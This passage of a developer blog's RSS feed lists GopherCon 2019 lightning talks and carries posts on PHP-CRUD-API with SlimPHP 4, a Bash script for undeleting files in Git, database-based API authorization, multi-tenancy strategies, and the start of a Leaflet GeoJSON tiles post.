<li><a href="https://www.youtube.com/watch?v=KyGbHPAYPo8">Jack Zampolin - A Walk Through Distributed Consensus</a>
[7:16]</li>
<li><a href="https://www.youtube.com/watch?v=dT223YYT940">Jessica Xie - How Not to DDOS Servers</a>
[5:42]</li>
<li><a href="https://www.youtube.com/watch?v=L9ue2llzrqo">Leon Stigter - Trusting Your Ingredients</a>
[6:57]</li>
<li><a href="https://www.youtube.com/watch?v=7a73fjdiQvQ">Ramya Rao - Debugging Go Code in VS Code</a>
[7:01]</li>
<li><a href="https://www.youtube.com/watch?v=JnbqLH9lPjM">Igor Dubinskiy - Interatively Migtrating an HTTP Svc to Go</a>
[6:26]</li>
<li><a href="https://www.youtube.com/watch?v=jeDSHucn-bw">Steve Scaffidi - Testing Against AWS APIs</a>
[6:17]</li>
<li><a href="https://www.youtube.com/watch?v=vPLYe0DIXvc">Sean Hagen - GRPC &amp; Go</a> [6:39]</li>
<li><a href="https://www.youtube.com/watch?v=zRgmXiO1el4">Hajime Hoshi - Mobile Game Development in Go</a>
[6:06]</li>
<li><a href="https://www.youtube.com/watch?v=ZXzn7MMpoKo">Jay McGavren - Teaching Tech</a>
[6:49]</li>
<li><a href="https://www.youtube.com/watch?v=ywQIAS_ONPM">Jason Mansfield - The Value of Mentoring</a>
[7:02]</li>
<li><a href="https://www.youtube.com/watch?v=_yu7vXGEvA8">Marc Vertes - Yet Another Elegant Go Interpreter</a>
[7:08]</li>
<li><a href="https://www.youtube.com/watch?v=HDXEX4zQKoo">Frederic Branczyk - Continuous Profiling</a>
[6:12]</li>
<li><a href="https://www.youtube.com/watch?v=hIgn9AMDw50">Jocelyn Matthews - Building Diverse Blockchain Communities</a>
[7:06]</li>
<li><a href="https://www.youtube.com/watch?v=Ol08OcjlAvE">Adam Lefkowitz - Go Get Your Developers Involved</a>
[6:15]</li>
<li><a href="https://www.youtube.com/watch?v=uGDEnXnIZEY">GopherCon 2019 Lighting Talk: Jacob Lister - VDOM Write Your Own DOM</a>
[7:06]</li>
<li><a href="https://www.youtube.com/watch?v=rwzhu5YegpE">Tim Raymond - Parsing Expression Grammar</a>
[6:38]</li>
</ul>
<h3 id="other-conference-videos">Other conference videos</h3>
<p>Did you like this post? There are more Go conference videos available, see:</p>
<ul>
<li><a href="https://tqdev.com/2018-gophercon-2018-videos-online">GopherCon 2018</a></li>
<li><a href="https://tqdev.com/2017-gophercon-2017-videos-online">GopherCon 2017</a></li>
<li><a href="https://tqdev.com/2016-gophercon-2016-videos-online">GopherCon 2016</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Automatic REST API for SlimPHP 4</title>
      <link>https://www.tqdev.com/2019-automatic-api-slimphp-4/</link>
      <pubDate>Fri, 16 Aug 2019 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-automatic-api-slimphp-4/</guid>
      <description>&lt;p&gt;Today, about 4 years after the initial commit, the promise of &amp;ldquo;upload a single
PHP file to add a REST API to your database&amp;rdquo; is still very much alive. It is now
possible to use &lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; (2k
stars) as a library executed on an endpoint in the
&lt;a href=&#34;https://www.slimframework.com/&#34;&gt;SlimPHP 4 framework&lt;/a&gt; (10k stars). This is
possible as they both adhere to the PHP-FIG&amp;rsquo;s (PHP Framework Interop Group) HTTP
standard &lt;a href=&#34;https://www.php-fig.org/psr/psr-7/&#34;&gt;PSR-7&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;install-slimphp-4&#34;&gt;Install SlimPHP 4&lt;/h3&gt;
&lt;p&gt;You need to run the following commands on your Linux system:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Today, about 4 years after the initial commit, the promise of &ldquo;upload a single
PHP file to add a REST API to your database&rdquo; is still very much alive. It is now
possible to use <a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> (2k
stars) as a library executed on an endpoint in the
<a href="https://www.slimframework.com/">SlimPHP 4 framework</a> (10k stars). This is
possible as they both adhere to the PHP-FIG&rsquo;s (PHP Framework Interop Group) HTTP
standard <a href="https://www.php-fig.org/psr/psr-7/">PSR-7</a>.</p>
<h3 id="install-slimphp-4">Install SlimPHP 4</h3>
<p>You need to run the following commands on your Linux system:</p>
<pre><code>wget https://getcomposer.org/composer.phar
php composer.phar create-project slim/slim-skeleton slim-crud-api
cd slim-crud-api
mv ../composer.phar .
php composer.phar start
</code></pre>
<p>Now verify that the installation works by visiting:</p>
<pre><code>http://localhost:8080/users/1
</code></pre>
<p>You should see the following JSON response:</p>
<pre><code>{
    &quot;statusCode&quot;: 200,
    &quot;data&quot;: {
        &quot;id&quot;: 1,
        &quot;username&quot;: &quot;bill.gates&quot;,
        &quot;firstName&quot;: &quot;Bill&quot;,
        &quot;lastName&quot;: &quot;Gates&quot;
    }
}
</code></pre>
<p>This means that your configuration is okay.</p>
<h3 id="install-php-crud-api">Install PHP-CRUD-API</h3>
<p>In order to add the automatic API library you need to run:</p>
<pre><code>php composer.phar require mevdschee/php-crud-api
</code></pre>
<p>You now change the file &ldquo;<code>app/routes.php</code>&rdquo; to look like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">declare</span><span class="p">(</span><span class="nx">strict_types</span><span class="o">=</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Slim\App</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Slim\Psr7\Request</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Slim\Psr7\Response</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Note these extra use statements:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">use</span> <span class="nx">Tqdev\PhpCrudApi\Api</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Tqdev\PhpCrudApi\Config</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">return</span> <span class="k">function</span> <span class="p">(</span><span class="nx">App</span> <span class="nv">$app</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$container</span> <span class="o">=</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">getContainer</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// Add this handler for PHP-CRUD-API:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">any</span><span class="p">(</span><span class="s1">&#39;/api[/{params:.*}]&#39;</span><span class="p">,</span> <span class="k">function</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="nx">Request</span> <span class="nv">$request</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">Response</span> <span class="nv">$response</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="k">array</span> <span class="nv">$args</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span> <span class="k">use</span> <span class="p">(</span><span class="nv">$container</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nv">$config</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Config</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;username&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;password&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;database&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;basePath&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;/api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$api</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Api</span><span class="p">(</span><span class="nv">$config</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$api</span><span class="o">-&gt;</span><span class="na">handle</span><span class="p">(</span><span class="nv">$request</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>Replace the string &ldquo;<code>php-crud-api</code>&rdquo; in the above code to match the username,
password and database of your setup (preferably reading them from environment
variables). You should see your application running at:</p>
<pre><code>http://localhost:8080/api/records/posts
</code></pre>
<p>Replace &ldquo;<code>posts</code>&rdquo; with the name of any table in your database. If everything
works as expected, then you should see the contents of the table in JSON format.</p>
<h3 id="further-reading">Further reading</h3>
<p>SlimPHP is often used to build APIs, because it is easy to use, standard
compliant and light-weight. PHP-CRUD-API on the other hand saves you a lot of
time, as it offers you a full featured REST API for all tables in your database
without any coding (it uses reflection). Now that you can combine the two you
can have the best of both worlds. For more information about PHP-CRUD-API and
what you can do with it read the Github README at:</p>
<p><a href="https://github.com/mevdschee/php-crud-api">https://github.com/mevdschee/php-crud-api</a></p>
<p>For more information on SlimPHP go to:</p>
<p><a href="http://www.slimframework.com">http://www.slimframework.com/</a></p>
<h3 id="other-frameworks">Other frameworks</h3>
<p>Laravel and Symfony 4 (alternatives for SlimPHP) can be integrated in a similar
way. Read more:</p>
<ul>
<li><a href="https://tqdev.com/2019-automatic-rest-api-laravel">Automatic REST API for Laravel</a></li>
<li><a href="https://tqdev.com/2019-automatic-rest-api-symfony">Automatic REST API for Symfony 4</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Script to undelete all files in Git</title>
      <link>https://www.tqdev.com/2019-script-to-undelete-all-files-in-git/</link>
      <pubDate>Tue, 13 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-script-to-undelete-all-files-in-git/</guid>
      <description>&lt;p&gt;I have written a Bash script to quickly undelete all files that are deleted in a
Git repository (on any previous commit). The script only recovers the last known
state of files of which the filename is not currently in use. It is optimized so
that it executes quickly when large numbers of files are deleted.&lt;/p&gt;
&lt;h3 id=&#34;usage&#34;&gt;Usage&lt;/h3&gt;
&lt;p&gt;Copy the script into the repository that you want to undelete files in and run:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have written a Bash script to quickly undelete all files that are deleted in a
Git repository (on any previous commit). The script only recovers the last known
state of files of which the filename is not currently in use. It is optimized so
that it executes quickly when large numbers of files are deleted.</p>
<h3 id="usage">Usage</h3>
<p>Copy the script into the repository that you want to undelete files in and run:</p>
<pre><code>bash git-undelete-all.sh
</code></pre>
<p>It should output something like:</p>
<pre><code>1 files restored in 0 seconds
</code></pre>
<p>If you run with &ldquo;-v&rdquo; the script will print the filename of each undeleted file
on a separate line.</p>
<h3 id="how-it-works">How it works</h3>
<p>It is automating the following process (where &ldquo;undelete.sh&rdquo; is a deleted file):</p>
<ol>
<li>
<p>List the files that are deleted from the Github repository:</p>
<p>git log &ndash;pretty=format: &ndash;name-only &ndash;diff-filter=D | sort -u</p>
</li>
<li>
<p>Which gives you the filenames of the deleted files:</p>
<p>undelete.sh</p>
</li>
<li>
<p>Then get the hash of the commit in which this file is deleted:</p>
<p>git rev-list -n 1 HEAD &ndash; undelete.sh</p>
</li>
<li>
<p>Which gives you the hash of the undeletion:</p>
<p>ae85c23372a8a45b788ed857800b3b424b1c15f8</p>
</li>
<li>
<p>Now you can checkout the version of the file before the deletion:</p>
<p>git checkout ae85c23372a8a45b788ed857800b3b424b1c15f8^ &ndash; undelete.sh</p>
</li>
</ol>
<p>And doing that for every file in the list that is retrieved in step 2.</p>
<h3 id="limitations">Limitations</h3>
<p>The script does not recover all deleted content as it only focuses on deleted
files. Files that are partially deleted (or are made empty) are not recovered.
Files are recovered to their last state, so not necessarily to the best state.
Also files that have been recreated (a new file with the same name has been
made) are not recovered. Only the simple case in which files are directly
deleted is handled.</p>
<h3 id="optimization">Optimization</h3>
<p>It may take a lot of time to recover all deleted files one by one. Instead of
processing the files one by one it tries to undelete the parent directories.
This speeds up the process in the case full directories (with lots of files) are
removed. I have tried this script on a large repository and the recovery took
under 2 minutes for 30 thousand files.</p>
<h3 id="the-code">The code</h3>
<p>Here is the Bash code for the script:</p>
<div style="background: #ffffff; overflow:auto;width:auto;font-size: 75%;"><pre style="margin: 0; line-height: 125%"><span style="color: #999988; font-style: italic">#!/bin/bash</span>
<span style="color: #008080">verbose</span><span style="font-weight: bold">=</span><span style="color: #999999">false</span>
<span style="color: #008080">silent</span><span style="font-weight: bold">=</span><span style="color: #999999">false</span>
<p><span style="font-weight: bold">while
</span><span style="color: #999999">getopts</span>
<span style="color: #bb8844">&lsquo;hsv&rsquo;</span> flag;
<span style="font-weight: bold">do</span>
<span style="font-weight: bold"> case</span>
<span style="color: #bb8844">&quot;$flag&quot;</span> in
v<span style="font-weight: bold">)</span>
<span style="color: #008080">verbose</span><span style="font-weight: bold">=</span><span style="color: #999999">true</span>
;; s<span style="font-weight: bold">)</span>
<span style="color: #008080">silent</span><span style="font-weight: bold">=</span><span style="color: #999999">true</span>
;; *<span style="font-weight: bold">)</span>
<span style="color: #999999">echo</span> <span style="color: #bb8844">&ldquo;Usage
git-undelete-all [OPTION&hellip;]&quot;</span>
<span style="color: #999999">echo</span>
<span style="color: #999999"> echo</span> <span style="color: #bb8844">&rdquo; -h
help: print this usage information&quot;</span>
<span style="color: #999999">echo</span> <span style="color: #bb8844">&quot; -s
silent: do not print output&quot;</span>
<span style="color: #999999">echo</span> <span style="color: #bb8844">&quot; -v
verbose: print every file recovered&quot;</span>
<span style="color: #999999">exit </span>1 ;;
<span style="font-weight: bold">esac</span>
<span style="font-weight: bold">done</span></p>
<p><span style="color: #008080">start_time</span><span style="font-weight: bold">=$(</span>date +%s<span style="font-weight: bold">)</span>
<span style="color: #008080">file_count</span><span style="font-weight: bold">=</span>0
<span style="font-weight: bold">while </span><span style="color: #999999">read </span>file; <span style="font-weight: bold">do</span>
<span style="font-weight: bold">((</span>file_count++<span style="font-weight: bold">))</span>
<span style="font-weight: bold">if</span> <span style="font-weight: bold">[</span> <span style="color: #bb8844">&ldquo;false&rdquo;</span> <span style="font-weight: bold">==</span> <span style="color: #bb8844">&quot;$silent&quot;</span>
<span style="font-weight: bold">]</span>;
<span style="font-weight: bold">then</span>
<span style="font-weight: bold"> if</span>
<span style="font-weight: bold">[</span>
<span style="color: #bb8844">&ldquo;true&rdquo;</span>
<span style="font-weight: bold">==</span>
<span style="color: #bb8844">&quot;$verbose&quot;</span> <span style="font-weight: bold">]</span>; <span style="font-weight: bold">then</span>
<span style="font-weight: bold">            </span><span style="color: #999999">echo</span> <span style="color: #008080">$file</span>
<span style="font-weight: bold">else</span>
<span style="font-weight: bold">
</span><span style="color: #999999">printf</span>
<span style="color: #bb8844">&quot;\r$file_count files restored&quot;</span>
<span style="font-weight: bold">fi</span>
<span style="font-weight: bold">    fi</span>
<span style="font-weight: bold">    if</span> <span style="font-weight: bold">[</span> -e <span style="color: #bb8844">&quot;$file&quot;</span>
<span style="font-weight: bold">]</span>;
<span style="font-weight: bold">then</span>
<span style="font-weight: bold"> continue</span>
<span style="font-weight: bold"> fi</span>
<span style="font-weight: bold">
</span><span style="color: #008080">files</span><span style="font-weight: bold">=()</span>
<span style="font-weight: bold">while</span>
<span style="font-weight: bold">[</span> ! -z
<span style="color: #bb8844">&quot;$file&quot;</span> <span style="font-weight: bold">]</span> <span style="font-weight: bold">&amp;&amp;</span> <span style="font-weight: bold">[</span> ! <span style="color: #bb8844">&quot;.&quot;</span> <span style="font-weight: bold">==</span> <span style="color: #bb8844">&quot;$file&quot;</span>
<span style="font-weight: bold">]</span>
<span style="font-weight: bold">&amp;&amp;</span>
<span style="font-weight: bold">[</span> !
<span style="color: #bb8844">&quot;/&quot;</span>
<span style="font-weight: bold">==</span>
<span style="color: #bb8844">&quot;$file&quot;</span> <span style="font-weight: bold">]</span>; <span style="font-weight: bold">do</span>
<span style="font-weight: bold">        </span><span style="color: #008080">files</span><span style="font-weight: bold">=(</span><span style="color: #bb8844">&quot;$file&quot;</span>
<span style="color: #bb8844">&quot;${files[@]}&quot;</span><span style="font-weight: bold">)</span>
<span style="color: #008080">file</span><span style="font-weight: bold">=$(</span>dirname
<span style="color: #bb8844">&quot;$file&quot;</span><span style="font-weight: bold">)</span>
<span style="font-weight: bold">done</span>
<span style="font-weight: bold">    for </span>file in <span style="color: #bb8844">&quot;${files[@]}&quot;</span>;
<span style="font-weight: bold">do</span>
<span style="font-weight: bold"> if</span>
<span style="font-weight: bold">[</span> ! -e
<span style="color: #bb8844">&quot;$file&quot;</span> <span style="font-weight: bold">]</span>; <span style="font-weight: bold">then</span>
<span style="font-weight: bold">            </span><span style="color: #999999">hash</span><span style="font-weight: bold">=$(</span>git
rev-list -n 1 HEAD &ndash;
<span style="color: #bb8844">&quot;$file&quot;</span> | xargs<span style="font-weight: bold">)</span>
<span style="font-weight: bold">if</span> <span style="font-weight: bold">[</span> ! -z <span style="color: #008080">$hash</span>
<span style="font-weight: bold">]</span>;
<span style="font-weight: bold">then</span>
<span style="font-weight: bold"> </span>git checkout
<span style="color: #008080">$hash</span>^ &ndash; <span style="color: #bb8844">&quot;$file&quot;</span>
<span style="font-weight: bold">fi</span>
<span style="font-weight: bold"> fi</span>
<span style="font-weight: bold"> done</span>
<span style="font-weight: bold">done</span> &lt;
&lt;<span style="font-weight: bold">(</span>git log
&ndash;pretty<span style="font-weight: bold">=</span>format: &ndash;name-only
&ndash;diff-filter<span style="font-weight: bold">=</span>D | sort
-u<span style="font-weight: bold">)</span></p>
<p><span style="font-weight: bold">if</span>
<span style="font-weight: bold">[</span>
<span style="color: #bb8844">&ldquo;false&rdquo;</span>
<span style="font-weight: bold">==</span>
<span style="color: #bb8844">&quot;$silent&quot;</span> <span style="font-weight: bold">]</span> <span style="font-weight: bold">&amp;&amp;</span> <span style="font-weight: bold">[</span> <span style="color: #bb8844">&ldquo;false&rdquo;</span> <span style="font-weight: bold">==</span> <span style="color: #bb8844">&quot;$verbose&quot;</span>
<span style="font-weight: bold">]</span>;
<span style="font-weight: bold">then</span>
<span style="font-weight: bold">
</span><span style="color: #008080">end_time</span><span style="font-weight: bold">=$(</span>date
+%s<span style="font-weight: bold">)</span>
<span style="color: #999999">printf</span> <span style="color: #bb8844">&quot; in
$(($end_time - $start_time)) seconds\n&quot;</span>
<span style="font-weight: bold">fi</span>
</pre></div></p>
<p>You can find the code on my Github:</p>
<p><a href="https://github.com/mevdschee/git-undelete-all.sh">https://github.com/mevdschee/git-undelete-all.sh</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>API authorization strategy: use the DB</title>
      <link>https://www.tqdev.com/2019-api-authorization-strategies/</link>
      <pubDate>Mon, 29 Jul 2019 16:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-api-authorization-strategies/</guid>
      <description>&lt;p&gt;When building an API you may find the need to implement authorization in a
generic way. Using the authorization implementation of your (relational)
database is a well-documented, simple and proven strategy. The user that is used
for the database connection should in this scenario depend on the authenticated
user of the API (and it&amp;rsquo;s authorization). This post will explain how to apply
this strategy. But before we start let&amp;rsquo;s take a step back and think about what
it is that you may be authorizing.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When building an API you may find the need to implement authorization in a
generic way. Using the authorization implementation of your (relational)
database is a well-documented, simple and proven strategy. The user that is used
for the database connection should in this scenario depend on the authenticated
user of the API (and it&rsquo;s authorization). This post will explain how to apply
this strategy. But before we start let&rsquo;s take a step back and think about what
it is that you may be authorizing.</p>
<h3 id="what-are-you-authorizing">What are you authorizing?</h3>
<p>I think that you are either authorizing:</p>
<ul>
<li>Create, read, update and delete (CRUD) operations on the data</li>
<li>Custom actions of the API, implementing non-CRUD operations</li>
</ul>
<p>Most APIs have a lot of CRUD operations and not so many custom actions. This may
be the reason that my <a href="https://github.com/mevdschee/php-crud-api/">PHP-CRUD-API</a>
project is quite popular.</p>
<h3 id="how-does-that-translate-to-sql">How does that translate to SQL?</h3>
<p>These two types of authorization have corresponding SQL statements in the
database:</p>
<ul>
<li>CRUD operations on the data = insert/select/update/delete SQL statements</li>
<li>Custom actions of the API = executing stored procedures</li>
</ul>
<p>You probably don&rsquo;t like stored procedures (they are not very popular nowadays),
but do consider that you may not need so many stored procedures and that they
have certain advantages (such as data locality in the policy code).</p>
<h3 id="what-levels-of-authorization-are-available">What levels of authorization are available?</h3>
<p>The levels of authorization that you can grant when authorizing CRUD operations
are:</p>
<ul>
<li>Database level access</li>
<li>Table level access</li>
<li>Column level access</li>
<li>Row level access</li>
</ul>
<p>The level of authorization that you can grant when authorizing execution of
stored procedures are:</p>
<ul>
<li>Database level access</li>
<li>Schema level access</li>
<li>Procedure level access</li>
</ul>
<p>Note that a database holds a schema that holds stored procedures, so you can
authorize execution of a single, a group or all stored procedures.</p>
<h3 id="how-to-store-the-authorization-rules">How to store the authorization rules?</h3>
<p>You may store the authorization rules in SQL and store that SQL in Git.</p>
<ul>
<li>CRUD operations</li>
<li>GRANT rules for INSERT/SELECT/UPDATE/DELETE</li>
<li>CREATE POLICY for row level security</li>
<li>Stored procedures:</li>
<li>GRANT rules for EXECUTE on PROCEDURE, SCHEMA or DATABASE</li>
</ul>
<p>Note that the stored procedures are executed in the security context of the
definer, but that
<a href="https://stackoverflow.com/questions/31712286/recording-the-invoker-of-a-postgres-function-that-is-set-to-security-definer">with a little workaround</a>
you can retrieve the invoker to implement some custom logic.</p>
<h3 id="conclusion">Conclusion</h3>
<p>If you don&rsquo;t want to implement all authorization as business logic in your API
code then you may start using the authorization implementation in your database
system as explained in this blog post. This may work out great, especially when
the majority of your API exists of CRUD operations. Not convinced? Well, maybe
it is not for you. If you are looking for a more versatile approach then the
quite abstract and verbose
<a href="https://en.wikipedia.org/wiki/XACML">eXtensible Access Control Markup Language (XACML)</a>
is worth checking out.</p>
<p>Enjoy programming!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Database multi-tenancy strategies</title>
      <link>https://www.tqdev.com/2019-database-multi-tenancy-strategies/</link>
      <pubDate>Sun, 28 Jul 2019 02:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-database-multi-tenancy-strategies/</guid>
      <description>&lt;p&gt;When you are building a SaaS software product you need to chose a way to store
the data of your customers. You can store everything in one database or you can
create multiple databases. There are roughly four main approaches. This article
discusses the up- and downsides of these approaches.&lt;/p&gt;
&lt;h3 id=&#34;multi-tenancy-4-approaches&#34;&gt;Multi-tenancy: 4 approaches&lt;/h3&gt;
&lt;p&gt;First let&amp;rsquo;s try to summarize the four identified approaches:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;All customers in one database (fully normalized)&lt;/li&gt;
&lt;li&gt;Every table has a CustomerID field (de-normalized)&lt;/li&gt;
&lt;li&gt;A database for every customer and one shared database&lt;/li&gt;
&lt;li&gt;Every customer has it&amp;rsquo;s own database&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now let&amp;rsquo;s try to find some up- and downsides for each of them.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When you are building a SaaS software product you need to chose a way to store
the data of your customers. You can store everything in one database or you can
create multiple databases. There are roughly four main approaches. This article
discusses the up- and downsides of these approaches.</p>
<h3 id="multi-tenancy-4-approaches">Multi-tenancy: 4 approaches</h3>
<p>First let&rsquo;s try to summarize the four identified approaches:</p>
<ol>
<li>All customers in one database (fully normalized)</li>
<li>Every table has a CustomerID field (de-normalized)</li>
<li>A database for every customer and one shared database</li>
<li>Every customer has it&rsquo;s own database</li>
</ol>
<p>Now let&rsquo;s try to find some up- and downsides for each of them.</p>
<h3 id="1-all-customers-in-one-database-fully-normalized">1. All customers in one database (fully normalized)</h3>
<p>When you store all data in one database and do not take any special measures,
then finding out to which customer a &ldquo;transaction&rdquo; belongs may take you several
joins: ledger, general ledger, book-year, administration/company, customer. When
a customer complains that the database is slow and you want to migrate a
customer&rsquo;s data to another database server you may not be able to swiftly
respond, even when the full process is automated (as it should).</p>
<p>So when is this approach a good idea? When you have mainly shared data and/or
the customer to which the data belongs changes often. I think this is quite rare
in software products.</p>
<h3 id="2-every-table-has-a-customerid-field-de-normalized">2. Every table has a CustomerID field (de-normalized)</h3>
<p>When all tables hold the tenancy field (CustomerID in our case), then dumping,
copying or removing data from a customer becomes trivial. If you consistently
name your tenancy field (e.g. there is a CustomerID in all tables) it becomes
really easy to automate customer migration (to a quieter database server) and
customer removal. On the other hand, you do have to write these tools yourself</p>
<p>I would say that this approach is a good idea if you have a really high amount
of customers that all pay almost nothing. The overhead of administrating a
separate databases for each of them, and keeping their structures in sync, may
be higher than the benefits.</p>
<h3 id="3-a-database-for-every-customer-and-one-shared">3. A database for every customer and one shared</h3>
<p>This is a compromise I often see and is often a good approach for software
products (especially when the shared database is read-only and has replicas).
Automating account creation and deletion becomes a bit harder, as you need to
create or delete a database for every new customer, but when performance
problems arise you can use off-the-shelf tools to migrate the database to a
quieter server. The shared replicated database can also be used to find the
customer&rsquo;s currently active database server.</p>
<h3 id="4-every-customer-has-its-own-database">4. Every customer has it&rsquo;s own database</h3>
<p>People joke that every IT problem can be solved using DNS, well.. so can this
one. You can have your software product run on customer specific subdomains and
route that subdomain to an isolated application/database server. This high level
of isolation protects you against system wide failure and it also guarantees
that there are no &ldquo;noisy neighbors&rdquo;. On the other hand you need to ensure that
the shared data is correctly replicated.</p>
<p>This approach is generally a good idea when customers pay a considerate amount
and you want to guarantee quality of service for some (or all) of them. It also
works best when the shared data does not change too much or when you want to run
different versions of your product for different customers. This approach also
allows you to influence geographic separation and different security
levels/measures. I feel this is the most professional approach, but I feel it is
also the most expensive one.</p>
<h3 id="conclusion">Conclusion</h3>
<p>I have seen all the above approaches in production settings. No matter which
approach you take you will need to automate everything (things such as account
creation and migration). I highly recommend approach 4, if you can afford it. On
the other hand approach 3 may be a lot better when the shared data is written
more than it is read. Approach 2 is the approach I would recommend for a (young)
free(mium) web product as it leads to minimal infrastructure costs. If you have,
or are thinking about, approach 1 then you might very well be on the wrong path.
I have seen young fast growing software products fail spectacularly using that
approach.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Handling GeoJSON tiles in Leaflet</title>
      <link>https://www.tqdev.com/2019-handling-geojson-tiles-in-leaflet/</link>
      <pubDate>Sat, 20 Jul 2019 15:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-handling-geojson-tiles-in-leaflet/</guid>
      <description>&lt;p&gt;Leaflet is world&amp;rsquo;s most popular open-source JavaScript
&amp;ldquo;&lt;a href=&#34;https://en.wikipedia.org/wiki/Tiled_web_map&#34;&gt;Tiled web map&lt;/a&gt;&amp;rdquo; library offering
Google maps like functionality on your own (or public) data. In the past weeks I
have implemented a GeoJSON vector tile plugin for Leaflet. In this post I will
explain when to use raster tiles, Mapbox Vector Tiles, GeoJSON tiles or a
GeoJSON bounding box.&lt;/p&gt;
&lt;h3 id=&#34;why-tiles&#34;&gt;Why tiles?&lt;/h3&gt;
&lt;p&gt;When somebody has a free pan and zoom over a map, no two maps are the same, as
you have a lot possible visible maps and sizes and zoom levels. For a single
user this would be fine, but as soon as you have multiple users then you want to
use some form of caching to reduce the load on the server. You could fix the map
size and pan and zoom in fixed steps, but that does not feel good. This is why
tiling is introduced. It allows you to have the caching advantages of fixed
steps, while allowing the user custom map sizes and seamless pan and zoom
(Google Maps has fixed zoom steps, Google Earth has seamless zoom).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Leaflet is world&rsquo;s most popular open-source JavaScript
&ldquo;<a href="https://en.wikipedia.org/wiki/Tiled_web_map">Tiled web map</a>&rdquo; library offering
Google maps like functionality on your own (or public) data. In the past weeks I
have implemented a GeoJSON vector tile plugin for Leaflet. In this post I will
explain when to use raster tiles, Mapbox Vector Tiles, GeoJSON tiles or a
GeoJSON bounding box.</p>
<h3 id="why-tiles">Why tiles?</h3>
<p>When somebody has a free pan and zoom over a map, no two maps are the same, as
you have a lot possible visible maps and sizes and zoom levels. For a single
user this would be fine, but as soon as you have multiple users then you want to
use some form of caching to reduce the load on the server. You could fix the map
size and pan and zoom in fixed steps, but that does not feel good. This is why
tiling is introduced. It allows you to have the caching advantages of fixed
steps, while allowing the user custom map sizes and seamless pan and zoom
(Google Maps has fixed zoom steps, Google Earth has seamless zoom).</p>
<h3 id="why-raster">Why raster?</h3>
<p>In order to determine what should be shown on a tile you have to do a bounding
box query on the storage that hold the features (points, lines or polygons) that
make up the map layer. If you want to show a base map with buildings, roads,
rivers, parks and many more layers then you need to do a lot of those queries.
Those bounding box queries can be optimized using a geospatial index, but then
you also need to draw them to the screen (while converting geospatial
coordinates to screen coordinates), which may be expensive as well. Raster tiles
allow you to do all these steps in advance and store the results in a bitmap for
future use in a map.</p>
<h3 id="1-raster-tile-layer">1) Raster tile layer</h3>
<p>Raster tiles are the square PNG images that make up Google maps. Creating them
